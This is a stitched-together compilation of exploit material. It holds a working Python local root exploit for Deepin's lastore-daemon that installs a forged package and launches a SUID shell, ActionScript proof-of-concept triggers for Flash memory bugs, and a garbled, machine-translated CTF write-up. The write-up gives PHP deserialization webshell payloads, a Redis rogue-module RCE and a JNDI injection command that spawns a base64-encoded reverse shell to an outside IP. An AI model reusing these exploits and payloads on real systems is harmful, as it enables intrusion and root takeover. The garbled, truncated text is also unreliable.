		'0x1f', '0xcf', '0xf7', '0x6d', '0x1d', '0xf7', '0x73', '0x21', '0x3e', '0xf6', '0x9f', '0xa1', '0x70', '0xf4', '0x1b', '0xb4', '0xce', '0xa9', '0xd9', '0xba',
		'0x27', '0x5e', '0x5e', '0xbe', '0xb6', '0x98', '0xff', '0x55', '0xde', '0x7b', '0xa4', '0xcc', '0xa9', '0xd', '0xc0', '0x3a', '0x4', '0x38', '0x48', '0x10',
		'0xed', '0xf2', '0x7f', '0xa2', '0x5', '0xd7', '0x26', '0x93', '0xee', '0x51', '0x7f', '0xff', '0xb9', '0xc8', '0x95', '0x56', '0xbe', '0x70', '0xc6', '0xfe',
		'0x89', '0x4', '0xf6', '0x1c', '0x9c', '0xda', '0xaa', '0xc2', '0xff', '0x23', '0xd0', '0x68', '0x2b', '0x14', '0x34', '0xd0', '0x78', '0xa5', '0xbd', '0xe7',
		'0xb1', '0x49', '0x18', '0xe8', '0x8d', '0x92', '0x69', '0x7f', '0xeb', '0x28', '0x22', '0x8e', '0x6a', '0x47', '0x50', '0x62', '0xb', '0xa8', '0x55', '0xa6',
		'0x5', '0x29', '0x2d', '0xfe', '0x3c', '0xac', '0x2c', '0x3e', '0x33', '0x2c', '0x53', '0x38', '0x81', '0x53', '0x69', '0xa5', '0xac', '0x1d', '0x8e', '0xe4',
		'0xff', '0x5e', '0x67', '0xaa', '0x64', '0x48', '0xed', '0x73', '0x2d', '0xd5', '0xd4', '0xb3', '0x12', '0x65', '0xa2', '0x11', '0xd2', '0x83', '0xb5', '0xdc',
		'0x30', '0x61', '0x5f', '0x4a', '0x14', '0xe1', '0x1d', '0xdb', '0x78', '0xba', '0x51', '0x20', '0xb7', '0x92', '0x41', '0x18', '0xea', '0xb9', '0x4e', '0x96',
		'0xea', '0x3b', '0x17', '0x72', '0x3f', '0x35', '0x16', '0x55', '0x89', '0xae', '0x66', '0xdc', '0x9', '0x61', '0xd1', '0xa3', '0xa5', '0x40', '0x67', '0xb3',
		'0x39', '0x5f', '0x46', '0x80', '0x59', '0xe8', '0x92', '0xd9', '0x12', '0x3d', '0x76', '0xf8', '0xd7', '0x38', '0xbe', '0x60', '0x43', '0x50', '0x32', '0x1a',
		'0xd7', '0x37', '0xd6', '0xf3', '0xa9', '0x8a', '0x5f', '0xb6', '0x89', '0x6f', '0x79', '0xc8', '0x97', '0x3c', '0x98', '0xcb', '0x76', '0xe4', '0xe2', '0xfe',
		'0x4b', '0xfb', '0x59', '0x44', '0x2f', '0x3d', '0x59', '0x8f', '0x6a', '0x1d', '0x51', '0x4d', '0xa0', '0x4d', '0xd4', '0x98', '0x44', '0xd', '0x2c', '0x2e',
		'0xce', '0xc8', '0xe9', '0xd0', '0xc', '0x92', '0xe8', '0xf', '0x99', '0x74', '0xbc', '0xfc', '0xed', '0x22', '0x83', '0x42', '0x89', '0xde', '0x45', '0xc6',
		'0x7b', '0x8b', '0x33', '0xfd', '0x4f', '0xe1', '0xd2', '0x9b', '0xd5', '0x39', '0x53', '0x67', '0xd5', '0x8a', '0x5e', '0x9e', '0xd0', '0xa0', '0x76', '0x27',
		'0x33', '0xb0', '0x2c', '0xf9', '0x60', '0x86', '0x92', '0x88', '0x92', '0xbf', '0x51', '0x0', '0x7e', '0x8b', '0xc8', '0xac', '0x51', '0xa9', '0xf0', '0xdf',
		'0x77', '0xb3', '0x89', '0xc7', '0x5e', '0x7c', '0x60', '0x4f', '0x2e', '0xf8', '0x65', '0xad', '0xc4', '0x9a', '0x46', '0x33', '0x6f', '0xa4', '0x2f', '0xb8',
		'0x94', '0x70', '0x2f', '0xd1', '0xba', '0x59', '0xd6', '0xd3', '0x1a', '0xd8', '0x4d', '0xd8', '0xca', '0x4', '0xf0', '0x54', '0xae', '0xf6', '0x6b', '0x15',
		'0x1', '0x4c', '0xde', '0x48', '0x50', '0xfe', '0x9d', '0xa1', '0x69', '0xd5', '0xa0', '0x57', '0xf6', '0xd9', '0xea', '0x90', '0xbd', '0x39', '0xa0', '0x7b',
		'0x40', '0x87', '0x28', '0xcd', '0xf0', '0x82', '0xb9', '0x28', '0xa0', '0xdb', '0x56', '0x44', '0xb2', '0x5e', '0xcc', '0xf8', '0x32', '0x16', '0xe9', '0xe5',
		'0x15', '0xef', '0xc', '0x78', '0x39', '0xfc', '0x3', '0xaf', '0xeb', '0xc9', '0x4d', '0x5f', '0xd0', '0xad', '0x67', '0xb0', '0x4a', '0x3a', '0xee', '0xf5',
		'0x2e', '0x75', '0x98', '0xf1', '0xd9', '0x6', '0xaf', '0xcd', '0xab', '0x5a', '0xb3', '0x33', '0x7f', '0x3e', '0x61', '0xfd', '0xb', '0x5b', '0xab', '0x88',
		'0x65', '0xfa', '0xf0', '0xa2', '0x49', '0x1c', '0x50', '0x22', '0xf8', '0xcb', '0x78', '0x0', '0x2f', '0x1a', '0xab', '0x4', '0x6e', '0xed', '0x32', '0x10',
		'0x2', '0xb5', '0x4', '0x52', '0x72', '0x41', '0xb2', '0x28', '0xbc', '0x7a', '0x7d', '0x1', '0x77', '0x2d', '0x1e', '0xe', '0xbd', '0xc5', '0x94', '0x99',
		'0xda', '0x52', '0x36', '0x7', '0x15', '0x36', '0xe2', '0x5d', '0x4', '0x2f', '0x33', '0x26', '0x7', '0xdd', '0x50', '0xcc', '0xe3', '0xfc', '0x2b', '0x52',
		'0xe7', '0xa5', '0x11', '0x6d', '0xe9', '0x7', '0x1f', '0x34', '0xdc', '0xda', '0x9c', '0xf2', '0x41', '0xe3', '0xe2', '0x8', '0x79', '0x82', '0x1c', '0xe0',
		'0xd1', '0x89', '0x91', '0x61', '0xa8', '0x92', '0xb7', '0xb7', '0xf3', '0xdd', '0xb5', '0x25', '0xd', '0x9e', '0x4a', '0x18', '0xb6', '0x77', '0x37', '0xff',
		'0xce', '0x43', '0x9d', '0x19', '0x85', '0x2e', '0x4d', '0x1f', '0x44', '0x49', '0x21', '0xc1', '0x3d', '0x61', '0xfd', '0xf8', '0xf', '0xa5', '0x6e', '0xd9',
		'0xf5', '0x77', '0x81', '0x77', '0x2e', '0xb9', '0xde', '0xb3', '0x7', '0x93', '0x7', '0xf', '0x5', '0xc6', '0x76', '0xab', '0xb3', '0x73', '0xb8', '0xf3',
		'0xd7', '0xf6', '0xd8', '0x8c', '0x39', '0xec', '0xe1', '0xc4', '0x4d', '0xb9', '0x54', '0x71', '0xbc', '0xb3', '0xc7', '0x5e', '0xf8', '0x3b', '0x1c', '0x6f',
		'0xf', '0x3c', '0x48', '0x6', '0x70', '0xae', '0x1a', '0xb6', '0x98', '0x4f', '0x2', '0x6f', '0xf2', '0x3a', '0xdd', '0x71', '0x39', '0x7e', '0xc0', '0xac',
		'0x77', '0xad', '0xa7', '0x89', '0x79', '0x9c', '0xac', '0xa0', '0xc0', '0x2d', '0x6b', '0x73', '0x5', '0xcd', '0xea', '0x5e', '0xbc', '0xa7', '0x69', '0x56',
		'0x43', '0xd2', '0x7b', '0xf6', '0x1f', '0xdc', '0x66', '0x41', '0x1c', '0x8', '0x24', '0xcd', '0x5a', '0xc2', '0xf2', '0xf7', '0x3c', '0x93', '0xf9', '0x61',
		'0xd2', '0x79', '0xf0', '0xf9', '0x3d', '0x4c', '0xb', '0x8', '0x4b', '0x41', '0x2', '0xa3', '0xa3', '0x65', '0x4f', '0xa', '0x2e', '0x13', '0xdc', '0xaa',
		'0xec', '0x33', '0x9c', '0x3d', '0x8c', '0xe0', '0xd5', '0x9c', '0xa2', '0xb2', '0x3e', '0x97', '0xa7', '0xd8', '0x58', '0x54', '0xbe', '0xdc', '0xca', '0x8a',
		'0x17', '0xe9', '0x31', '0x61', '0x51', '0x52', '0xd7', '0xe7', '0xf1', '0xcf', '0x41', '0xee', '0x4a', '0x32', '0xf7', '0xa0', '0xcd', '0xd5', '0x52', '0x37',
		'0x27', '0x43', '0xdc', '0xa4', '0x82', '0xf4', '0xa1', '0x3c', '0xc6', '0x4d', '0x0', '0x7', '0xe1', '0x46', '0xde', '0xd3', '0x5c', '0x31', '0xa1', '0xe9',
		'0xf9', '0x71', '0xeb', '0x4c', '0x8f', '0x7d', '0xa3', '0x5', '0xdb', '0xe1', '0xd8', '0x27', '0xd', '0x26', '0x70', '0xe4', '0xc9', '0x5b', '0xc0', '0x45',
		'0xea', '0xea', '0x6d', '0x58', '0x10', '0x51', '0x56', '0xbf', '0x2d', '0xd6', '0x2a', '0x8a', '0x23', '0xdc', '0x74', '0x41', '0xec', '0x1', '0x3c', '0xd4',
		'0xa5', '0x9a', '0xfd', '0x1', '0x64', '0x8a', '0xee', '0x5d', '0x8c', '0xf0', '0xff', '0x88', '0x8a', '0x22', '0x57', '0xc8', '0x28', '0x42', '0x3d', '0x77',
		'0xb', '0xad', '0xc8', '0x5f', '0x2f', '0xb7', '0x9b', '0x4', '0x80', '0xd2', '0xb0', '0x4e', '0x9e', '0xba', '0x5b', '0xe8', '0x9a', '0xd8', '0xb1', '0xdb',
		'0x4', '0x98', '0x2f', '0x3c', '0x94', '0x32', '0xd6', '0xe3', '0x4f', '0x64', '0xa7', '0xed', '0x6c', '0x98', '0x8', '0xce', '0x1', '0xb7', '0x6f', '0xf0',
		'0x41', '0xec', '0x90', '0x9d', '0xd2', '0xcc', '0xdb', '0x3d', '0x94', '0x23', '0xbd', '0x5c', '0x32', '0x8f', '0x41', '0xe9', '0x5e', '0xaf', '0x2a', '0xe3',
		'0xd4', '0x8', '0x10', '0xc8', '0x96', '0x8f', '0xda', '0xef', '0xd2', '0x7a', '0x4d', '0x19', '0xa9', '0x99', '0x7e', '0x16', '0xc4', '0x71', '0xcf', '0x63',
		'0xed', '0xc9', '0x7f', '0xe8', '0xb9', '0x99', '0xed', '0x75', '0xa2', '0xbc', '0xdb', '0x8', '0x6b', '0x15', '0x49', '0x44', '0x73', '0x3f', '0xdd', '0x59',
		'0x39', '0xfd', '0x39', '0xbc', '0x9e', '0x79', '0xf3', '0x71', '0x74', '0xf5', '0xd8', '0x49', '0x8e', '0x7d', '0xf4', '0xba', '0x5b', '0x2d', '0x3c', '0xc6',
		'0x68', '0x15', '0xa8', '0x6b', '0x2', '0x7c', '0x63', '0xab', '0x9e', '0xb9', '0x60', '0xdf', '0x3b', '0x46', '0x8', '0x48', '0x6', '0xb4', '0x55', '0x7d',
		'0x55', '0xe4', '0xa6', '0xd2', '0x34', '0xb4', '0x33', '0xbf', '0xf9', '0xfc', '0xbc', '0x30', '0x62', '0xcd', '0xfd', '0x4d', '0x69', '0x19', '0xe8', '0xe2',
		'0xd5', '0x58', '0x6c', '0x57', '0x8c', '0xb7', '0x8b', '0x45', '0xbe', '0xcd', '0xa9', '0x6b', '0x0', '0x7b', '0xba', '0xbb', '0x3', '0x18', '0xb9', '0xb5',
		'0x80', '0xa7', '0xfb', '0xf4', '0x13', '0xeb', '0x34', '0xd8', '0x35', '0x60', '0xa7', '0x39', '0xc9', '0xf9', '0x78', '0xa2', '0x3a', '0xee', '0x97', '0xfc',
		'0x49', '0xaa', '0x6a', '0xe1', '0x34', '0x2b', '0x45', '0x94', '0x39', '0x94', '0x90', '0x2d', '0x28', '0x31', '0xbc', '0xc', '0x62', '0x73', '0xef', '0xd5',
		'0xb', '0x41', '0x1b', '0xaa', '0x40', '0xa', '0x79', '0x86', '0x20', '0x7f', '0xfe', '0xc5', '0x7f', '0x8b', '0xd0', '0x1b', '0x40', '0xe4', '0x26', '0x8c',
		'0xb3', '0xce', '0x9e', '0x67', '0xd7', '0x3e', '0xcd', '0x83', '0xa4', '0xdb', '0xa0', '0x8c', '0x6e', '0xcb', '0x3e', '0xee', '0x13', '0xb2', '0x3f', '0x16',
		'0x2', '0xd9', '0x9c', '0x23', '0x30', '0xac', '0x86', '0xee', '0x38', '0xde', '0x60', '0x75', '0x32', '0x4b', '0x5f', '0xe5', '0x3d', '0x8', '0xc9', '0x86',
		'0xe5', '0x91', '0x40', '0x33', '0x54', '0xb8', '0x30', '0x5b', '0x7a', '0x96', '0xb7', '0x86', '0x6', '0x9f', '0xc0', '0x22', '0xe1', '0x11', '0xc5', '0xee',
		'0xc', '0x3b', '0xa7', '0xe6', '0xff', '0xe', '0xcf', '0xce', '0xd5', '0xd8', '0x10', '0x36', '0x80', '0x12', '0xaf', '0x87', '0x5', '0x52', '0xda', '0x0',
		'0xab', '0x87', '0xd0', '0xe5', '0xd1', '0xa7', '0xa', '0xf8', '0x6f', '0x32', '0x62', '0x43', '0x6e', '0x5f', '0xaf', '0x28', '0xb2', '0xbd', '0xe2', '0x4e',
		'0xcf', '0xd7', '0xbc', '0xe7', '0x83', '0x5e', '0x81', '0x1f', '0x4c', '0xe9', '0x4f', '0xfe', '0x79', '0x2', '0xcd', '0xec', '0xc8', '0x5e', '0x45', '0xc9',
		'0x87', '0x16', '0x8b', '0x8d', '0x79', '0x75', '0xad', '0x0', '0x0', '0x0', '0x5', '0x30', '0xb9', '0xc6', '0x10', '0x95', '0x49', '0xa4', '0x0', '0x1',
		'0xcf', '0x8a', '0x3', '0x80', '0x90', '0x8', '0xc9', '0x66', '0xa7', '0x54', '0xb1', '0xc4', '0x67', '0xfb', '0x2', '0x0', '0x0', '0x0', '0x0', '0x4',
		'0x59', '0x5a'
        ]

    file_out = open(deb_file_path, "wb")
    for i in deb_data:
        file_out.write(chr(int(i, 16)))
    file_out.close()


if __name__ == '__main__':

    # First to prepare fake package and package list file
    print "Trying to prepare files in /tmp..."
    if not os.path.exists("/tmp/lists"):
        os.mkdir("/tmp/lists")
    if not os.path.exists("/tmp/archives"):
        os.mkdir("/tmp/archives")

    create_deb("/tmp/archives/deepinhack_0.0.1_amd64.deb")
    lists = open("/tmp/lists/packages.deepin.com_deepin_dists_unstable_main_binary-amd64_Packages", "w")
    lists.write("Package: deepinhack\n"
            "Version: 0.0.1\n"
            "Maintainer: King's Way <root#kings-way.info>\n"
            "Architecture: amd64\n"
            "Size: 51122\n"
            "SHA256: 3c135fb86c3a018060b55e748ad7e12b484433f1743b704ffc14e1a32f46ad12\n"
            "SHA1: d0c93664608c06433d3a95629258d5ed246d946a\n"
            "MD5sum: 1c15a6e8346c44c6e8c23a4becca839e\n"
            "Description: privilege escalation POC for deepin 15 with lastore-daemon. Created by King's Way @ 20160130\n"
            "Description-md5: c8dc28d1e85139704ec222606f31c6f9\n"
            "Section: utils\n"
            "Priority: optional\n"
            "Filename: pool/main/d/deepinhack_0.0.1_amd64.deb\n")
    lists.close()

    # Connect to SystemBus and Get the interface of lastore.Manager
    print "Trying to connect to SystemBus and Get the interface of lastore.Manager..."
    bus = dbus.SystemBus()
    proxy_object = bus.get_object("com.deepin.lastore", "/com/deepin/lastore")
    lastore_interface = dbus.Interface(proxy_object, "com.deepin.lastore.Manager")

    # Submit a job to install deepinhack
    print "Trying to submit  a job to install deepinhack..."
    reply = lastore_interface.InstallPackage("deepinhack_install", "-o Dir::State::Lists=/tmp/lists -o Dir::Cache::Archives=/tmp/archives -y --allow-unauthenticated deepinhack")
    print "Reply from lastore.Manager: ", reply

    print "Just wait and see..."

    while not os.path.exists("/usr/bin/deepinhack"):
        print "Have not found deepinhack in /usr/bin/... Sleep for 2 seconds..."
        time.sleep(2)

    print "\nFound it! Trying to run..."
    os.system("/usr/bin/deepinhack")

    choice = raw_input("\n\n /usr/bin/deepinhack is copied from dash and with SUID bit\n"
                   " Do you want to remove the deepinhack Package?  [y/N]  ")
    if choice == 'y':
        lastore_interface.RemovePackage("deepinhack_remove", "deepinhack")
        print "\nMessage has been sent to lastore-daemon...\n" \
              "Quitting now..."
    bus.close()
    quit(0)
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=698

There is a dangling pointer that can be read, but not written to in loadPCMFromByteArray. A minimal PoC is as follows:

	var s = new Sound();
	var b = new ByteArray();
	for( var i = 0; i < 1600; i++){
		b.writeByte(1);
	}
	b.position = 0;
	s.loadPCMFromByteArray(b, 100, "float", false, 2.0);
	var c = new ByteArray();
	for(var i = 0; i < 2; i++){
			c.writeByte(1);	
	}
	c.position = 0;
	try{
		s.loadPCMFromByteArray(c, 1, "float", false, 2.0);
	}catch(e:Error){		
		trace(e.message);
	}
			
	var d = new ByteArray();
	s.extract(d, 1, 0);

The PoC first loads PCM bytes correctly, setting an internal pointer to them. It then loads PCM bytes again, with a specific array length that passes the array length check, but then causes a exception to be thrown when reading the byte array. This causes the pointer to the original PCM array to be deleted, but then the function exits due to an exception before the pointer is set again. If the exception is caught, the sound object containing the dangling pointer can be used again. The sound.extract method reads directly out of the location the dangling pointer points to.

A full PoC and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39462.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=701

There is a type confusion vulnerability in the TextField constructor in AS3. When a TextField is constructed, a generic backing object is created and reused when subsequent TextField objects are created. However, if an object with the same ID has already been created in the SWF, it can be of the wrong type. The constructor contains a check for this situation, though, and throws an exception and sets a flag to shut down the player if this occurs. The backing object is then set to be of type TextField to avoid any modifications that have been made on it by the constructor from causing problems if it is used as an object of its original type elsewhere in the player.

However, if the exception thrown by the constructor is caught, the exception handler can create another TextField object, and since the type of the generic backing object has been changed, an object of the wrong type is now backing the TextField, which makes it possible to set the pointers in the object to integer values selected by the attacker.

The PoC swf for this issue needs to be created by hand. The original swf code is:

try{

     var t = new TextField();

} catch(e:Error){

     var t2 = new TextField();
     t2.gridFitType;

}

Then in the swf, a backing object of a different type with ID 0xfff9 is created, which causes the first constructor call to fail, and the second to cause type confusion.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39461.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=630

The attached file can cause an out-of-bounds read of an image. While the bits of the image are null, the width, height and other values can make it a valid pointer. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39460.zip
            

web

1.ESAY_EVAL

?PHPクラスA {public $ code=''; function __call($ method、$ args){eval($ this-code); } function __wakeup(){$ this-code=''; }} class b {function __destruct(){echo $ this-a-a(); }} if(isset($ _ request ['poc'])){preg_match_all( '/' [ba] ':(。*?):/s'、$ _ request ['poc']、$ ret); if(isset($ ret [1])){foreach($ ret [1] as $ i){if(intval($ i)!==1){exit( 'wake wakeup?no!'); }} unserialize($ _ request ['poc']); }} else {highlight_file(__ file__); }

簡単な分析は、__wakeup関数をバイパスすることができます。

機能に関するこの記事を読むpreg_match_all php preg_match_all()関数の紹介と使用法-feiniao muyuブログ(feiniaomy.com)

最後に、$ ret [1]の2つの変数を1に等しくする必要があります。なぜなら、intval($ i)!==1の制限があるため(これはバイパスする場合は問題ありません。なぜなら、PHPの変数名はケースに敏感であり、機能名、メソッド名、およびクラス名はケースに敏感ではないため)。ウェイクアップをバイパスするために1つを出すだけです。

ペイロードを構築します

?php

クラスA {

public $ code='';

パブリック関数__construct(){

$ this-code='eval(\ $ _ post [1]);';

}

}

クラスB {

パブリック関数__construct(){

$ this-a=new a();

}

}

Echo Serialize(new B());

$は、シリアル化が実行されるときに実行されることを恐れているため、その前に追加されます。

1049983-20211224170339728-1967965652.jpg GET O:1:'B':1: {s:13360'a '; o:1:'a': 1: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、 Aを小文字に変更すると、次の番号を変更してバイパスできますO:1:'B':1: {s:13360'a '; o:1:'a': 2: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、アリの剣を接続してシェルを取得します

コード監査、直接脱力化は、テンテイジャンを構築します

1049983-20211224170340216-581797451.jpg

小文字オブジェクトAバイパス

ペイロード

?poc=o:1:'b':1: {s33601:'a '; o:1:'a'3 33602: {s:4:'code '; s:16:'eval($ _ post [0]);';}}}} Ant Sword Connectionは、disable_functionがあることを発見しました。アリの剣によって持ち込まれたバイパスを試してみて、ウェブサイトのルートディレクトリにconfig.php.swp vi-rがあることがわかりました。 Redisパスワードはそうであることがわかりました

github上のredis rceを備えた悪意のあるSOファイルをTMPディレクトリにアップロードし、悪意のあるモジュールRCEをANT Sword Redisプラグインでロードする

1049983-20211224170340691-681623030.png

Redisは悪意のある負荷を負うので、シェルを取得します

Ant Swordは構成を見つけて復元しました

1049983-20211224170341050-13255766.png

それをダウンロードしてLinuxに投げてVIで復元します

VI -R config.php

1049983-20211224170341416-1081333836.jpg

このRedisパスワードは偽造すぎるように見えますが、それは本当です。 Ant SwordのRedisプラグインを使用して接続します

1049983-20211224170341920-1119731240.png

それから私はレディスを打った。 phpinfoにopen_basedirがあることがわかりました。まだ使用できるTMPがあるので、悪意を持ってアップロードしますので

1049983-20211224170342306-189304732.pnghttps://github.com/dliv3/redis-rogue-server

アリの剣を直接使用します

1049983-20211224170342685-131854183.png

Redisプラグインを使用してRedisを接続します

127.0.0.1:6379モジュールLoad /tmp/exppadding.so

わかりました

127.0.0.133606379 System.exec 'id'

'uid=0(root)gid=0(root)グループ=0(root)\ n

1049983-20211224170343111-1023030855.jpg添付のローカル環境」:

ubuntu:16.04から

src/sources.list /etc/apt/sources.listcopy src/redis-4.0.9 /home/redis-4.0.9をコピーします

Apt-Getアップデート\ Apt-Getインストール-Y Curl \ Software-Properties-Common \ Python3-Software-Properties \ python-software-properties \ unzip \ vim

apt -get install -y apache2runサービスapache2再起動を実行します

locale -arunエクスポートLang=C.UTF-8 \ Add-Apt-Repository PPA:ONDREJ/PHP \ APT-GETアップデート

apt -getインストールを実行します-y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7。 0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip

apt install -y gcc \ makeを実行します

Cd /home/redis-4.0.9 \ cp -r /home/redis-4.0.9/usr/local/redis \ cd/usr/usr/redis \ make prefix=/usr/local/redisインストール\ export redis_home=/usr/local/redis \ export path=$ path33: $ redis_home/bin/bin/bin

src/tmp/srcrun mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini \ rm -rf/var/www/html \ mv/tmp/src/html/var/www/html \ mv/htmp//start.sh \ chmod +x /start.sh

80を公開します

cmd ['/start.sh']

その中で、web.iniはphpの構成ファイルであり、disable_functionなどに設定できます。

2.Jackson

元のタイトルについては話しません

https://www.redmango.top/article/61#javaweb

まず、タイトルで与えられたpom.xmlを見てください

Shiro1.5.1、CC3.2.1タイトルはジャクソンです

その後、アクセスルートをバイパスし、ジャクソンを介してCCチェーンを脱上することはシロの検証である必要があります

ログインする必要があるJSONルートがあることがわかりました。

1049983-20211224170343802-297338680.jpgその後、ツールに直接移動します:https://github.com/welk1n/jndi-injection-exploit

Java -jar Jndi-injection-exploit-1.0-snapshot-all.jar -a '47 .100.27.114 '-C' Bash -C {echo、ymfzacatasa+jiavzgv2l3rjcc80ny4xmdaumjcumte0lzgwodggmd4mmq==} | {base64、-d} | {bash、-i} 'またはPOM.xmlでフレームワークバージョンをご覧ください。

1049983-20211224170344366-502955647.jpg 2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

ジャクソン脱介入+ JNDIインジェクション + LDAPリターンシリアル化データトリガーローカルガジェットバイパスJDK 8U_191リミット4

post/;/json http/1.1

HOST: 8.134.37.86:20947

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336092.0)gecko/20100101 firefox/92.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

Content-Type:アプリケーション/JSON

Content-Length: 97

['ch.qos.logback.core.db.jndiconnectionSource'、{'jndilocation ':'ldap: //106.15.250.20.209:8091/a

紀元前'}]

1049983-20211224170345373-1153092748.jpgNCがリバウンドしました、ルートディレクトリにフラグを取得するだけです

1049983-20211224170345764-511421506.jpg

3.eztp

robots.txtを介してwww.zipソースコードを入手してください:

1049983-20211224170346158-861591018.jpg

1049983-20211224170346533-592200662.jpg

ディレクトリ構造:

1049983-20211224170346908-160724702.jpg

明らかなTPフレームワークが表示され、取得されます:5.0.10

当初、私はTPフレームワークのRCEを試しましたが、それは実りがありませんでした。だからあきらめます

次に、コントローラーにインデックスと管理者があることを確認します。

管理者コントローラー:

1049983-20211224170347332-929303291.jpg

インデックスコントローラー:

1049983-20211224170347750-1545368266.jpg

問題はないようです。

ただし、Admin Controllerのアップロードおよび列ディレクトリ操作にAdminにログインする必要があることがわかります。

したがって、それは注入する必要があり、バイドゥは検索しました

このバージョンのTPフレームワークインジェクション:https://www.cnblogs.com/wangtanzhi/p/12734685.html

ログイン管理アカウントを注入:

1049983-20211224170348174-1770961135.jpg

次に、管理者コントローラーのリストディールを確認すると、IS_DIR関数がPHARの脱必要異化をトリガーできることがわかります。

参照:https://www.anquanke.com/post/id/251318#h2-1

ただし、上記のPOCを使用することは、インターネット上のPOCから利用できないことがわかります。

私はローカル環境をデバッグしましたが、それを見つけました:

process.php閉じる方法:

1049983-20211224170348643-86495486.jpg

元のTPフレームワークとは異なり、IFはフィルターに追加されます。なぜなら、元のHasManyクラスには緊密な方法がないため、$ ThisProcesspipes-Close()メソッドを呼び出すことは不可能であるため、次の脱3s化および書き込みファイルRCEは不可能であるため、インターネット上のPOCは無意味になります。

今やらなければならないことは、緊密な方法を持つクラスが必要であり、内部的にはメンバー変数の緊密な方法を呼び出す必要があります。

これにより、フィルタリングをバイパスすることができ、脱介入を継続できます。

ここで私はMemcacheクラスを見つけました、

1049983-20211224170349045-894237468.jpg

元のチェーンを$ thishandler変数に接続するだけで、それを脱上化し続けることができます。

しかし、デバッグを通して:

1049983-20211224170349452-68844655.jpg

このパスパスは、書いた後には見つかりません。そこで、私はそれを絶対的なパスに変更して、パブリックディレクトリに書きました

POC:の脱気面化

?phpnamespace think; shink \ session \ driver \ memcache; class process {private $ processpipes;

プライベート$ステータス;

プライベート$ ProcessInformation; public function __construct(){$ this-processinformation ['running']=true; $ this-status=3; $ thisprocesspipes=(new Memcache(1)); }

} namespace think; class model {

} namespace think \ model;

Think \ Model;クラスマージ拡張モデル{public $ a='1';を使用します。 public function __construct(){}} namespace think \ model \ relation; shinkを使用します